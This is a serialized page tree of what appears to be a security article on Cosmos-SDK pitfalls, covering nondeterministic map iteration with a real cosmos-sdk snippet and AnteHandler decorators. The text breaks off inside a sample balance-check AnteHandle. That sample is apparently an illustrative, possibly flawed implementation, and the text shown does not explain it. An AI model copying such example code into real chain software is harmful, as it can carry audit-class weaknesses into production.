var",{"type":21,"tag":153,"props":79940,"children":79941},{"style":192},[79942],{"type":26,"value":24073},{"type":21,"tag":153,"props":79944,"children":79945},{"style":160},[79946],{"type":26,"value":78524},{"type":21,"tag":153,"props":79948,"children":79949},{"style":214},[79950],{"type":26,"value":79632},{"type":21,"tag":153,"props":79952,"children":79953},{"class":155,"line":382},[79954,79958,79962,79966,79970,79974],{"type":21,"tag":153,"props":79955,"children":79956},{"style":1751},[79957],{"type":26,"value":5784},{"type":21,"tag":153,"props":79959,"children":79960},{"style":192},[79961],{"type":26,"value":8661},{"type":21,"tag":153,"props":79963,"children":79964},{"style":198},[79965],{"type":26,"value":78713},{"type":21,"tag":153,"props":79967,"children":79968},{"style":1751},[79969],{"type":26,"value":79696},{"type":21,"tag":153,"props":79971,"children":79972},{"style":192},[79973],{"type":26,"value":79701},{"type":21,"tag":153,"props":79975,"children":79976},{"style":160},[79977],{"type":26,"value":236},{"type":21,"tag":153,"props":79979,"children":79980},{"class":155,"line":501},[79981,79985,79989,79994,79998,80002,80006,80010],{"type":21,"tag":153,"props":79982,"children":79983},{"style":192},[79984],{"type":26,"value":28029},{"type":21,"tag":153,"props":79986,"children":79987},{"style":198},[79988],{"type":26,"value":255},{"type":21,"tag":153,"props":79990,"children":79991},{"style":181},[79992],{"type":26,"value":79993}," append",{"type":21,"tag":153,"props":79995,"children":79996},{"style":160},[79997],{"type":26,"value":189},{"type":21,"tag":153,"props":79999,"children":80000},{"style":192},[80001],{"type":26,"value":23676},{"type":21,"tag":153,"props":80003,"children":80004},{"style":160},[80005],{"type":26,"value":1670},{"type":21,"tag":153,"props":80007,"children":80008},{"style":192},[80009],{"type":26,"value":74451},{"type":21,"tag":153,"props":80011,"children":80012},{"style":160},[80013],{"type":26,"value":5909},{"type":21,"tag":153,"props":80015,"children":80016},{"class":155,"line":533},[80017],{"type":21,"tag":153,"props":80018,"children":80019},{"style":160},[80020],{"type":26,"value":539},{"type":21,"tag":153,"props":80022,"children":80023},{"class":155,"line":542},[80024,80029,80033,80038,80042,80046],{"type":21,"tag":153,"props":80025,"children":80026},{"style":192},[80027],{"type":26,"value":80028},"    sort",{"type":21,"tag":153,"props":80030,"children":80031},{"style":160},[80032],{"type":26,"value":355},{"type":21,"tag":153,"props":80034,"children":80035},{"style":181},[80036],{"type":26,"value":80037},"Strings",{"type":21,"tag":153,"props":80039,"children":80040},{"style":160},[80041],{"type":26,"value":189},{"type":21,"tag":153,"props":80043,"children":80044},{"style":192},[80045],{"type":26,"value":23676},{"type":21,"tag":153,"props":80047,"children":80048},{"style":160},[80049],{"type":26,"value":5909},{"type":21,"tag":153,"props":80051,"children":80052},{"class":155,"line":762},[80053],{"type":21,"tag":153,"props":80054,"children":80055},{"emptyLinePlaceholder":16},[80056],{"type":26,"value":759},{"type":21,"tag":153,"props":80058,"children":80059},{"class":155,"line":776},[80060,80064,80068,80072,80076,80080,80084,80088],{"type":21,"tag":153,"props":80061,"children":80062},{"style":1751},[80063],{"type":26,"value":5784},{"type":21,"tag":153,"props":80065,"children":80066},{"style":192},[80067],{"type":26,"value":5789},{"type":21,"tag":153,"props":80069,"children":80070},{"style":160},[80071],{"type":26,"value":1670},{"type":21,"tag":153,"props":80073,"children":80074},{"style":192},[80075],{"type":26,"value":74451},{"type":21,"tag":153,"props":80077,"children":80078},{"style":198},[80079],{"type":26,"value":78713},{"type":21,"tag":153,"props":80081,"children":80082},{"style":1751},[80083],{"type":26,"value":79696},{"type":21,"tag":153,"props":80085,"children":80086},{"style":192},[80087],{"type":26,"value":24073},{"type":21,"tag":153,"props":80089,"children":80090},{"style":160},[80091],{"type":26,"value":236},{"type":21,"tag":153,"props":80093,"children":80094},{"class":155,"line":795},[80095,80099,80103,80107,80111,80115],{"type":21,"tag":153,"props":80096,"children":80097},{"style":192},[80098],{"type":26,"value":28882},{"type":21,"tag":153,"props":80100,"children":80101},{"style":160},[80102],{"type":26,"value":355},{"type":21,"tag":153,"props":80104,"children":80105},{"style":192},[80106],{"type":26,"value":79721},{"type":21,"tag":153,"props":80108,"children":80109},{"style":160},[80110],{"type":26,"value":355},{"type":21,"tag":153,"props":80112,"children":80113},{"style":181},[80114],{"type":26,"value":79730},{"type":21,"tag":153,"props":80116,"children":80117},{"style":160},[80118],{"type":26,"value":773},{"type":21,"tag":153,"props":80120,"children":80121},{"class":155,"line":808},[80122,80126,80130,80134],{"type":21,"tag":153,"props":80123,"children":80124},{"style":192},[80125],{"type":26,"value":79742},{"type":21,"tag":153,"props":80127,"children":80128},{"style":160},[80129],{"type":26,"value":355},{"type":21,"tag":153,"props":80131,"children":80132},{"style":181},[80133],{"type":26,"value":79751},{"type":21,"tag":153,"props":80135,"children":80136},{"style":160},[80137],{"type":26,"value":773},{"type":21,"tag":153,"props":80139,"children":80140},{"class":155,"line":820},[80141,80145],{"type":21,"tag":153,"props":80142,"children":80143},{"style":671},[80144],{"type":26,"value":79763},{"type":21,"tag":153,"props":80146,"children":80147},{"style":160},[80148],{"type":26,"value":792},{"type":21,"tag":153,"props":80150,"children":80151},{"class":155,"line":842},[80152,80156,80160,80164,80168,80172,80176,80180,80184,80188],{"type":21,"tag":153,"props":80153,"children":80154},{"style":192},[80155],{"type":26,"value":79775},{"type":21,"tag":153,"props":80157,"children":80158},{"style":160},[80159],{"type":26,"value":355},{"type":21,"tag":153,"props":80161,"children":80162},{"style":181},[80163],{"type":26,"value":79784},{"type":21,"tag":153,"props":80165,"children":80166},{"style":160},[80167],{"type":26,"value":189},{"type":21,"tag":153,"props":80169,"children":80170},{"style":192},[80171],{"type":26,"value":74451},{"type":21,"tag":153,"props":80173,"children":80174},{"style":160},[80175],{"type":26,"value":1670},{"type":21,"tag":153,"props":80177,"children":80178},{"style":192},[80179],{"type":26,"value":79660},{"type":21,"tag":153,"props":80181,"children":80182},{"style":160},[80183],{"type":26,"value":211},{"type":21,"tag":153,"props":80185,"children":80186},{"style":192},[80187],{"type":26,"value":74451},{"type":21,"tag":153,"props":80189,"children":80190},{"style":160},[80191],{"type":26,"value":80192},"]),\n",{"type":21,"tag":153,"props":80194,"children":80195},{"class":155,"line":3204},[80196],{"type":21,"tag":153,"props":80197,"children":80198},{"style":160},[80199],{"type":26,"value":79812},{"type":21,"tag":153,"props":80201,"children":80202},{"class":155,"line":3230},[80203],{"type":21,"tag":153,"props":80204,"children":80205},{"style":160},[80206],{"type":26,"value":70615},{"type":21,"tag":153,"props":80208,"children":80209},{"class":155,"line":3239},[80210],{"type":21,"tag":153,"props":80211,"children":80212},{"style":160},[80213],{"type":26,"value":539},{"type":21,"tag":153,"props":80215,"children":80216},{"class":155,"line":3253},[80217],{"type":21,"tag":153,"props":80218,"children":80219},{"style":160},[80220],{"type":26,"value":548},{"type":21,"tag":22,"props":80222,"children":80223},{},[80224],{"type":26,"value":80225},"The combination of hidden code within external Golang dependencies makes it difficult to avoid language-wise quirks fully. It is crucial to remain vigilant and avoid underestimating the gravity of this lingering bug class.",{"type":21,"tag":114,"props":80227,"children":80229},{"id":80228},"real-world-examples-1",[80230],{"type":26,"value":78986},{"type":21,"tag":22,"props":80232,"children":80233},{},[80234,80236,80241,80243,80249,80251,80257,80259,80265],{"type":26,"value":80235},"Real-world examples of ",{"type":21,"tag":78,"props":80237,"children":80239},{"className":80238},[],[80240],{"type":26,"value":69396},{"type":26,"value":80242}," causing determinism problems can be found ",{"type":21,"tag":29,"props":80244,"children":80247},{"href":80245,"rel":80246},"https://github.com/cosmos/cosmos-sdk/pull/12487",[33],[80248],{"type":26,"value":49874},{"type":26,"value":80250},", specifically, where the result of ",{"type":21,"tag":78,"props":80252,"children":80254},{"className":80253},[],[80255],{"type":26,"value":80256},"buildCommitInfo",{"type":26,"value":80258}," is inconsistent due to iteration over the ",{"type":21,"tag":78,"props":80260,"children":80262},{"className":80261},[],[80263],{"type":26,"value":80264},"rs.stores",{"type":26,"value":80266}," map.",{"type":21,"tag":22,"props":80268,"children":80269},{},[80270],{"type":21,"tag":29,"props":80271,"children":80274},{"href":80272,"rel":80273},"https://github.com/cosmos/cosmos-sdk/blob/55054282d2df794d9a5fe2599ea25473379ebc3d/store/rootmulti/store.go#L909",[33],[80275],{"type":26,"value":79036},{"type":21,"tag":143,"props":80277,"children":80279},{"code":80278,"language":78461,"meta":7,"className":78462,"style":7},"func (rs *Store) buildCommitInfo(\n    version int64\n) *types.CommitInfo {\n    storeInfos := []types.StoreInfo{}\n    for key, store := range rs.stores {\n        if store.GetStoreType() == types.StoreTypeTransient {\n            continue\n        }\n        storeInfos = append(storeInfos, types.StoreInfo{\n            Name:     key.Name(),\n            CommitId: store.LastCommitID(),\n        })\n    }\n    return &types.CommitInfo{\n        Version:    version,\n        StoreInfos: storeInfos,\n    }\n}\n",[80280],{"type":21,"tag":78,"props":80281,"children":80282},{"__ignoreMap":7},[80283,80320,80333,80361,80395,80440,80486,80494,80501,80546,80576,80605,80612,80619,80646,80668,80688,80695],{"type":21,"tag":153,"props":80284,"children":80285},{"class":155,"line":156},[80286,80290,80294,80299,80303,80308,80312,80316],{"type":21,"tag":153,"props":80287,"children":80288},{"style":170},[80289],{"type":26,"value":78597},{"type":21,"tag":153,"props":80291,"children":80292},{"style":160},[80293],{"type":26,"value":5820},{"type":21,"tag":153,"props":80295,"children":80296},{"style":192},[80297],{"type":26,"value":80298},"rs ",{"type":21,"tag":153,"props":80300,"children":80301},{"style":198},[80302],{"type":26,"value":313},{"type":21,"tag":153,"props":80304,"children":80305},{"style":214},[80306],{"type":26,"value":80307},"Store",{"type":21,"tag":153,"props":80309,"children":80310},{"style":160},[80311],{"type":26,"value":2362},{"type":21,"tag":153,"props":80313,"children":80314},{"style":181},[80315],{"type":26,"value":80256},{"type":21,"tag":153,"props":80317,"children":80318},{"style":160},[80319],{"type":26,"value":773},{"type":21,"tag":153,"props":80321,"children":80322},{"class":155,"line":166},[80323,80328],{"type":21,"tag":153,"props":80324,"children":80325},{"style":192},[80326],{"type":26,"value":80327},"    version",{"type":21,"tag":153,"props":80329,"children":80330},{"style":214},[80331],{"type":26,"value":80332}," int64\n",{"type":21,"tag":153,"props":80334,"children":80335},{"class":155,"line":225},[80336,80340,80344,80348,80352,80357],{"type":21,"tag":153,"props":80337,"children":80338},{"style":160},[80339],{"type":26,"value":2362},{"type":21,"tag":153,"props":80341,"children":80342},{"style":198},[80343],{"type":26,"value":313},{"type":21,"tag":153,"props":80345,"children":80346},{"style":214},[80347],{"type":26,"value":8489},{"type":21,"tag":153,"props":80349,"children":80350},{"style":160},[80351],{"type":26,"value":355},{"type":21,"tag":153,"props":80353,"children":80354},{"style":214},[80355],{"type":26,"value":80356},"CommitInfo",{"type":21,"tag":153,"props":80358,"children":80359},{"style":160},[80360],{"type":26,"value":236},{"type":21,"tag":153,"props":80362,"children":80363},{"class":155,"line":239},[80364,80369,80373,80377,80381,80385,80390],{"type":21,"tag":153,"props":80365,"children":80366},{"style":192},[80367],{"type":26,"value":80368},"    storeInfos",{"type":21,"tag":153,"props":80370,"children":80371},{"style":198},[80372],{"type":26,"value":78713},{"type":21,"tag":153,"props":80374,"children":80375},{"style":160},[80376],{"type":26,"value":78524},{"type":21,"tag":153,"props":80378,"children":80379},{"style":214},[80380],{"type":26,"value":8489},{"type":21,"tag":153,"props":80382,"children":80383},{"style":160},[80384],{"type":26,"value":355},{"type":21,"tag":153,"props":80386,"children":80387},{"style":214},[80388],{"type":26,"value":80389},"StoreInfo",{"type":21,"tag":153,"props":80391,"children":80392},{"style":160},[80393],{"type":26,"value":80394},"{}\n",{"type":21,"tag":153,"props":80396,"children":80397},{"class":155,"line":382},[80398,80402,80406,80410,80414,80418,80422,80427,80431,80436],{"type":21,"tag":153,"props":80399,"children":80400},{"style":1751},[80401],{"type":26,"value":5784},{"type":21,"tag":153,"props":80403,"children":80404},{"style":192},[80405],{"type":26,"value":8661},{"type":21,"tag":153,"props":80407,"children":80408},{"style":160},[80409],{"type":26,"value":1670},{"type":21,"tag":153,"props":80411,"children":80412},{"style":192},[80413],{"type":26,"value":8670},{"type":21,"tag":153,"props":80415,"children":80416},{"style":198},[80417],{"type":26,"value":78713},{"type":21,"tag":153,"props":80419,"children":80420},{"style":1751},[80421],{"type":26,"value":79696},{"type":21,"tag":153,"props":80423,"children":80424},{"style":192},[80425],{"type":26,"value":80426}," rs",{"type":21,"tag":153,"props":80428,"children":80429},{"style":160},[80430],{"type":26,"value":355},{"type":21,"tag":153,"props":80432,"children":80433},{"style":192},[80434],{"type":26,"value":80435},"stores",{"type":21,"tag":153,"props":80437,"children":80438},{"style":160},[80439],{"type":26,"value":236},{"type":21,"tag":153,"props":80441,"children":80442},{"class":155,"line":501},[80443,80447,80451,80455,80460,80464,80468,80473,80477,80482],{"type":21,"tag":153,"props":80444,"children":80445},{"style":1751},[80446],{"type":26,"value":2607},{"type":21,"tag":153,"props":80448,"children":80449},{"style":192},[80450],{"type":26,"value":8561},{"type":21,"tag":153,"props":80452,"children":80453},{"style":160},[80454],{"type":26,"value":355},{"type":21,"tag":153,"props":80456,"children":80457},{"style":181},[80458],{"type":26,"value":80459},"GetStoreType",{"type":21,"tag":153,"props":80461,"children":80462},{"style":160},[80463],{"type":26,"value":2461},{"type":21,"tag":153,"props":80465,"children":80466},{"style":198},[80467],{"type":26,"value":1694},{"type":21,"tag":153,"props":80469,"children":80470},{"style":192},[80471],{"type":26,"value":80472}," types",{"type":21,"tag":153,"props":80474,"children":80475},{"style":160},[80476],{"type":26,"value":355},{"type":21,"tag":153,"props":80478,"children":80479},{"style":192},[80480],{"type":26,"value":80481},"StoreTypeTransient",{"type":21,"tag":153,"props":80483,"children":80484},{"style":160},[80485],{"type":26,"value":236},{"type":21,"tag":153,"props":80487,"children":80488},{"class":155,"line":533},[80489],{"type":21,"tag":153,"props":80490,"children":80491},{"style":1751},[80492],{"type":26,"value":80493},"            continue\n",{"type":21,"tag":153,"props":80495,"children":80496},{"class":155,"line":542},[80497],{"type":21,"tag":153,"props":80498,"children":80499},{"style":160},[80500],{"type":26,"value":2765},{"type":21,"tag":153,"props":80502,"children":80503},{"class":155,"line":762},[80504,80509,80513,80517,80521,80526,80530,80534,80538,80542],{"type":21,"tag":153,"props":80505,"children":80506},{"style":192},[80507],{"type":26,"value":80508},"        storeInfos",{"type":21,"tag":153,"props":80510,"children":80511},{"style":198},[80512],{"type":26,"value":255},{"type":21,"tag":153,"props":80514,"children":80515},{"style":181},[80516],{"type":26,"value":79993},{"type":21,"tag":153,"props":80518,"children":80519},{"style":160},[80520],{"type":26,"value":189},{"type":21,"tag":153,"props":80522,"children":80523},{"style":192},[80524],{"type":26,"value":80525},"storeInfos",{"type":21,"tag":153,"props":80527,"children":80528},{"style":160},[80529],{"type":26,"value":1670},{"type":21,"tag":153,"props":80531,"children":80532},{"style":214},[80533],{"type":26,"value":8489},{"type":21,"tag":153,"props":80535,"children":80536},{"style":160},[80537],{"type":26,"value":355},{"type":21,"tag":153,"props":80539,"children":80540},{"style":214},[80541],{"type":26,"value":80389},{"type":21,"tag":153,"props":80543,"children":80544},{"style":160},[80545],{"type":26,"value":13601},{"type":21,"tag":153,"props":80547,"children":80548},{"class":155,"line":776},[80549,80554,80559,80563,80567,80572],{"type":21,"tag":153,"props":80550,"children":80551},{"style":192},[80552],{"type":26,"value":80553},"            Name",{"type":21,"tag":153,"props":80555,"children":80556},{"style":160},[80557],{"type":26,"value":80558},":     ",{"type":21,"tag":153,"props":80560,"children":80561},{"style":192},[80562],{"type":26,"value":74451},{"type":21,"tag":153,"props":80564,"children":80565},{"style":160},[80566],{"type":26,"value":355},{"type":21,"tag":153,"props":80568,"children":80569},{"style":181},[80570],{"type":26,"value":80571},"Name",{"type":21,"tag":153,"props":80573,"children":80574},{"style":160},[80575],{"type":26,"value":721},{"type":21,"tag":153,"props":80577,"children":80578},{"class":155,"line":795},[80579,80584,80588,80592,80596,80601],{"type":21,"tag":153,"props":80580,"children":80581},{"style":192},[80582],{"type":26,"value":80583},"            CommitId",{"type":21,"tag":153,"props":80585,"children":80586},{"style":160},[80587],{"type":26,"value":18031},{"type":21,"tag":153,"props":80589,"children":80590},{"style":192},[80591],{"type":26,"value":8670},{"type":21,"tag":153,"props":80593,"children":80594},{"style":160},[80595],{"type":26,"value":355},{"type":21,"tag":153,"props":80597,"children":80598},{"style":181},[80599],{"type":26,"value":80600},"LastCommitID",{"type":21,"tag":153,"props":80602,"children":80603},{"style":160},[80604],{"type":26,"value":721},{"type":21,"tag":153,"props":80606,"children":80607},{"class":155,"line":808},[80608],{"type":21,"tag":153,"props":80609,"children":80610},{"style":160},[80611],{"type":26,"value":70492},{"type":21,"tag":153,"props":80613,"children":80614},{"class":155,"line":820},[80615],{"type":21,"tag":153,"props":80616,"children":80617},{"style":160},[80618],{"type":26,"value":539},{"type":21,"tag":153,"props":80620,"children":80621},{"class":155,"line":842},[80622,80626,80630,80634,80638,80642],{"type":21,"tag":153,"props":80623,"children":80624},{"style":1751},[80625],{"type":26,"value":19687},{"type":21,"tag":153,"props":80627,"children":80628},{"style":198},[80629],{"type":26,"value":206},{"type":21,"tag":153,"props":80631,"children":80632},{"style":214},[80633],{"type":26,"value":8489},{"type":21,"tag":153,"props":80635,"children":80636},{"style":160},[80637],{"type":26,"value":355},{"type":21,"tag":153,"props":80639,"children":80640},{"style":214},[80641],{"type":26,"value":80356},{"type":21,"tag":153,"props":80643,"children":80644},{"style":160},[80645],{"type":26,"value":13601},{"type":21,"tag":153,"props":80647,"children":80648},{"class":155,"line":3204},[80649,80654,80659,80664],{"type":21,"tag":153,"props":80650,"children":80651},{"style":192},[80652],{"type":26,"value":80653},"        Version",{"type":21,"tag":153,"props":80655,"children":80656},{"style":160},[80657],{"type":26,"value":80658},":    ",{"type":21,"tag":153,"props":80660,"children":80661},{"style":192},[80662],{"type":26,"value":80663},"version",{"type":21,"tag":153,"props":80665,"children":80666},{"style":160},[80667],{"type":26,"value":792},{"type":21,"tag":153,"props":80669,"children":80670},{"class":155,"line":3230},[80671,80676,80680,80684],{"type":21,"tag":153,"props":80672,"children":80673},{"style":192},[80674],{"type":26,"value":80675},"        StoreInfos",{"type":21,"tag":153,"props":80677,"children":80678},{"style":160},[80679],{"type":26,"value":18031},{"type":21,"tag":153,"props":80681,"children":80682},{"style":192},[80683],{"type":26,"value":80525},{"type":21,"tag":153,"props":80685,"children":80686},{"style":160},[80687],{"type":26,"value":792},{"type":21,"tag":153,"props":80689,"children":80690},{"class":155,"line":3239},[80691],{"type":21,"tag":153,"props":80692,"children":80693},{"style":160},[80694],{"type":26,"value":539},{"type":21,"tag":153,"props":80696,"children":80697},{"class":155,"line":3253},[80698],{"type":21,"tag":153,"props":80699,"children":80700},{"style":160},[80701],{"type":26,"value":548},{"type":21,"tag":22,"props":80703,"children":80704},{},[80705,80707,80714,80715,80722],{"type":26,"value":80706},"Other factors contributing to determinism issues are the usage of ",{"type":21,"tag":29,"props":80708,"children":80711},{"href":80709,"rel":80710},"https://medium.com/provenanceblockchain/discovering-non-deterministic-behavior-in-provenance-blockchain-and-cosmos-sdk-3b81b87b8698",[33],[80712],{"type":26,"value":80713},"time-sensitive functions",{"type":26,"value":52},{"type":21,"tag":29,"props":80716,"children":80719},{"href":80717,"rel":80718},"https://github.com/cosmos/cosmos-sdk/issues/16638",[33],[80720],{"type":26,"value":80721},"race conditions",{"type":26,"value":355},{"type":21,"tag":66,"props":80724,"children":80726},{"id":80725},"thou-shalt-not-passor-should-you",[80727],{"type":26,"value":80728},"Thou Shalt Not Pass...Or Should You?",{"type":21,"tag":22,"props":80730,"children":80731},{},[80732,80734,80740,80741,80747],{"type":26,"value":80733},"When developing smart contracts, it is common to delegate certain low-level tasks (such as parsing ",{"type":21,"tag":78,"props":80735,"children":80737},{"className":80736},[],[80738],{"type":26,"value":80739},"msg.value",{"type":26,"value":1670},{"type":21,"tag":78,"props":80742,"children":80744},{"className":80743},[],[80745],{"type":26,"value":80746},"msg.sender",{"type":26,"value":80748},", and collecting transaction fees) to the underlying blockchain.",{"type":21,"tag":22,"props":80750,"children":80751},{},[80752,80754,80760,80762,80768],{"type":26,"value":80753},"On Cosmos, there is no blockchain to rely on since it is the L1 itself! To simplify the development of middleware-like functionalities, ",{"type":21,"tag":78,"props":80755,"children":80757},{"className":80756},[],[80758],{"type":26,"value":80759},"Cosmos-SDK",{"type":26,"value":80761}," introduces ",{"type":21,"tag":78,"props":80763,"children":80765},{"className":80764},[],[80766],{"type":26,"value":80767},"AnteHandler",{"type":26,"value":80769}," decorators to help accomplish this. While there are pre-written decorators, all other data extraction from transactions and blockchain states must be carried out by the developers themselves.",{"type":21,"tag":22,"props":80771,"children":80772},{},[80773,80775,80780,80782,80787],{"type":26,"value":80774},"To provide context, let's first understand how an ",{"type":21,"tag":78,"props":80776,"children":80778},{"className":80777},[],[80779],{"type":26,"value":80767},{"type":26,"value":80781}," is processed. Each ",{"type":21,"tag":78,"props":80783,"children":80785},{"className":80784},[],[80786],{"type":26,"value":80767},{"type":26,"value":80788}," is a state transition function that can:",{"type":21,"tag":126,"props":80790,"children":80791},{},[80792,80797],{"type":21,"tag":91,"props":80793,"children":80794},{},[80795],{"type":26,"value":80796},"Transform the block state in relation to transaction and execution context.",{"type":21,"tag":91,"props":80798,"children":80799},{},[80800,80802],{"type":26,"value":80801},"Determine the course of action for the transaction.\n",{"type":21,"tag":126,"props":80803,"children":80804},{},[80805,80816],{"type":21,"tag":91,"props":80806,"children":80807},{},[80808,80810,80815],{"type":26,"value":80809},"Pass the transaction to the next ",{"type":21,"tag":78,"props":80811,"children":80813},{"className":80812},[],[80814],{"type":26,"value":80767},{"type":26,"value":355},{"type":21,"tag":91,"props":80817,"children":80818},{},[80819],{"type":26,"value":80820},"Return error for transaction.",{"type":21,"tag":22,"props":80822,"children":80823},{},[80824,80826,80831],{"type":26,"value":80825},"The bad news is that developing an ",{"type":21,"tag":78,"props":80827,"children":80829},{"className":80828},[],[80830],{"type":26,"value":80767},{"type":26,"value":80832}," is not the easiest task. For instance, let's consider a scenario where we need to ensure all signers involved in a transaction have a balance greater than X at the time of transaction execution.",{"type":21,"tag":22,"props":80834,"children":80835},{},[80836,80837,80843],{"type":26,"value":19311},{"type":21,"tag":78,"props":80838,"children":80840},{"className":80839},[],[80841],{"type":26,"value":80842},"AnteHandle",{"type":26,"value":80844}," implementation may look something like this:",{"type":21,"tag":143,"props":80846,"children":80848},{"code":80847,"language":78461,"meta":7,"className":78462,"style":7},"const (\n    MIN_BALANCE = 100\n)\n\nfunc (abd AccountBalanceDecorator) AnteHandle(\n    ctx sdk.Context,\n    tx sdk.Tx,\n    simulate bool,\n    next sdk.AnteHandler,\n) (sdk.Context, error) {\n    sigTx, ok := tx.(authsigning.SigVerifiableTx)\n    if !ok {\n        return ctx, errorsmod.Wrap(\n            sdkerrors.ErrTxDecode,\n            \"invalid tx type\",\n        )\n    }\n\n    signers := sigTx.GetSigners()\n    for i, signer := range signers {\n        balance := abd.bk.getBalance(ctx, signer, ATOM)\n        if balance.Amount \u003C MIN_BALANCE {\n            return ctx, errorsmod.Wrap(\n                ErrInsufficientBalance,\n                \"Insufficient Balance\",\n            )\n        }\n    }\n\n    return next(ctx, tx, simulate)\n}\n",[80849],{"type":21,"tag":78,"props":80850,"children":80851},{"__ignoreMap":7},[80852,80864,80880,80887,80894,80927,80951,80976,80992,81016,81048,81096,81115,81148,81169,81181,81188,81195,81202,81232,81268,81332,81366,81398,81410,81422,81429,81436,81443,81450,81492],{"type":21,"tag":153,"props":80853,"children":80854},{"class":155,"line":156},[80855,80859],{"type":21,"tag":153,"props":80856,"children":80857},{"style":170},[80858],{"type":26,"value":5085},{"type":21,"tag":153,"props":80860,"children":80861},{"style":160},[80862],{"type":26,"value":80863}," (\n",{"type":21,"tag":153,"props":80865,"children":80866},{"class":155,"line":166},[80867,80872,80876],{"type":21,"tag":153,"props":80868,"children":80869},{"style":192},[80870],{"type":26,"value":80871},"    MIN_BALANCE",{"type":21,"tag":153,"props":80873,"children":80874},{"style":198},[80875],{"type":26,"value":255},{"type":21,"tag":153,"props":80877,"children":80878},{"style":300},[80879],{"type":26,"value":22039},{"type":21,"tag":153,"props":80881,"children":80882},{"class":155,"line":225},[80883],{"type":21,"tag":153,"props":80884,"children":80885},{"style":160},[80886],{"type":26,"value":5909},{"type":21,"tag":153,"props":80888,"children":80889},{"class":155,"line":239},[80890],{"type":21,"tag":153,"props":80891,"children":80892},{"emptyLinePlaceholder":16},[80893],{"type":26,"value":759},{"type":21,"tag":153,"props":80895,"children":80896},{"class":155,"line":382},[80897,80901,80905,80910,80915,80919,80923],{"type":21,"tag":153,"props":80898,"children":80899},{"style":170},[80900],{"type":26,"value":78597},{"type":21,"tag":153,"props":80902,"children":80903},{"style":160},[80904],{"type":26,"value":5820},{"type":21,"tag":153,"props":80906,"children":80907},{"style":192},[80908],{"type":26,"value":80909},"abd ",{"type":21,"tag":153,"props":80911,"children":80912},{"style":214},[80913],{"type":26,"value":80914},"AccountBalanceDecorator",{"type":21,"tag":153,"props":80916,"children":80917},{"style":160},[80918],{"type":26,"value":2362},{"type":21,"tag":153,"props":80920,"children":80921},{"style":181},[80922],{"type":26,"value":80842},{"type":21,"tag":153,"props":80924,"children":80925},{"style":160},[80926],{"type":26,"value":773},{"type":21,"tag":153,"props":80928,"children":80929},{"class":155,"line":501},[80930,80934,80939,80943,80947],{"type":21,"tag":153,"props":80931,"children":80932},{"style":192},[80933],{"type":26,"value":22920},{"type":21,"tag":153,"props":80935,"children":80936},{"style":214},[80937],{"type":26,"value":80938}," sdk",{"type":21,"tag":153,"props":80940,"children":80941},{"style":160},[80942],{"type":26,"value":355},{"type":21,"tag":153,"props":80944,"children":80945},{"style":214},[80946],{"type":26,"value":78646},{"type":21,"tag":153,"props":80948,"children":80949},{"style":160},[80950],{"type":26,"value":792},{"type":21,"tag":153,"props":80952,"children":80953},{"class":155,"line":533},[80954,80959,80963,80967,80972],{"type":21,"tag":153,"props":80955,"children":80956},{"style":192},[80957],{"type":26,"value":80958},"    tx",{"type":21,"tag":153,"props":80960,"children":80961},{"style":214},[80962],{"type":26,"value":80938},{"type":21,"tag":153,"props":80964,"children":80965},{"style":160},[80966],{"type":26,"value":355},{"type":21,"tag":153,"props":80968,"children":80969},{"style":214},[80970],{"type":26,"value":80971},"Tx",{"type":21,"tag":153,"props":80973,"children":80974},{"style":160},[80975],{"type":26,"value":792},{"type":21,"tag":153,"props":80977,"children":80978},{"class":155,"line":542},[80979,80984,80988],{"type":21,"tag":153,"props":80980,"children":80981},{"style":192},[80982],{"type":26,"value":80983},"    simulate",{"type":21,"tag":153,"props":80985,"children":80986},{"style":214},[80987],{"type":26,"value":14769},{"type":21,"tag":153,"props":80989,"children":80990},{"style":160},[80991],{"type":26,"value":792},{"type":21,"tag":153,"props":80993,"children":80994},{"class":155,"line":762},[80995,81000,81004,81008,81012],{"type":21,"tag":153,"props":80996,"children":80997},{"style":192},[80998],{"type":26,"value":80999},"    next",{"type":21,"tag":153,"props":81001,"children":81002},{"style":214},[81003],{"type":26,"value":80938},{"type":21,"tag":153,"props":81005,"children":81006},{"style":160},[81007],{"type":26,"value":355},{"type":21,"tag":153,"props":81009,"children":81010},{"style":214},[81011],{"type":26,"value":80767},{"type":21,"tag":153,"props":81013,"children":81014},{"style":160},[81015],{"type":26,"value":792},{"type":21,"tag":153,"props":81017,"children":81018},{"class":155,"line":776},[81019,81023,81028,81032,81036,81040,81044],{"type":21,"tag":153,"props":81020,"children":81021},{"style":160},[81022],{"type":26,"value":78679},{"type":21,"tag":153,"props":81024,"children":81025},{"style":214},[81026],{"type":26,"value":81027},"sdk",{"type":21,"tag":153,"props":81029,"children":81030},{"style":160},[81031],{"type":26,"value":355},{"type":21,"tag":153,"props":81033,"children":81034},{"style":214},[81035],{"type":26,"value":78646},{"type":21,"tag":153,"props":81037,"children":81038},{"style":160},[81039],{"type":26,"value":1670},{"type":21,"tag":153,"props":81041,"children":81042},{"style":214},[81043],{"type":26,"value":17566},{"type":21,"tag":153,"props":81045,"children":81046},{"style":160},[81047],{"type":26,"value":2659},{"type":21,"tag":153,"props":81049,"children":81050},{"class":155,"line":795},[81051,81056,81060,81065,81069,81073,81078,81083,81087,81092],{"type":21,"tag":153,"props":81052,"children":81053},{"style":192},[81054],{"type":26,"value":81055},"    sigTx",{"type":21,"tag":153,"props":81057,"children":81058},{"style":160},[81059],{"type":26,"value":1670},{"type":21,"tag":153,"props":81061,"children":81062},{"style":192},[81063],{"type":26,"value":81064},"ok",{"type":21,"tag":153,"props":81066,"children":81067},{"style":198},[81068],{"type":26,"value":78713},{"type":21,"tag":153,"props":81070,"children":81071},{"style":192},[81072],{"type":26,"value":70322},{"type":21,"tag":153,"props":81074,"children":81075},{"style":160},[81076],{"type":26,"value":81077},".(",{"type":21,"tag":153,"props":81079,"children":81080},{"style":214},[81081],{"type":26,"value":81082},"authsigning",{"type":21,"tag":153,"props":81084,"children":81085},{"style":160},[81086],{"type":26,"value":355},{"type":21,"tag":153,"props":81088,"children":81089},{"style":214},[81090],{"type":26,"value":81091},"SigVerifiableTx",{"type":21,"tag":153,"props":81093,"children":81094},{"style":160},[81095],{"type":26,"value":5909},{"type":21,"tag":153,"props":81097,"children":81098},{"class":155,"line":808},[81099,81103,81107,81111],{"type":21,"tag":153,"props":81100,"children":81101},{"style":1751},[81102],{"type":26,"value":2434},{"type":21,"tag":153,"props":81104,"children":81105},{"style":198},[81106],{"type":26,"value":15581},{"type":21,"tag":153,"props":81108,"children":81109},{"style":192},[81110],{"type":26,"value":81064},{"type":21,"tag":153,"props":81112,"children":81113},{"style":160},[81114],{"type":26,"value":236},{"type":21,"tag":153,"props":8111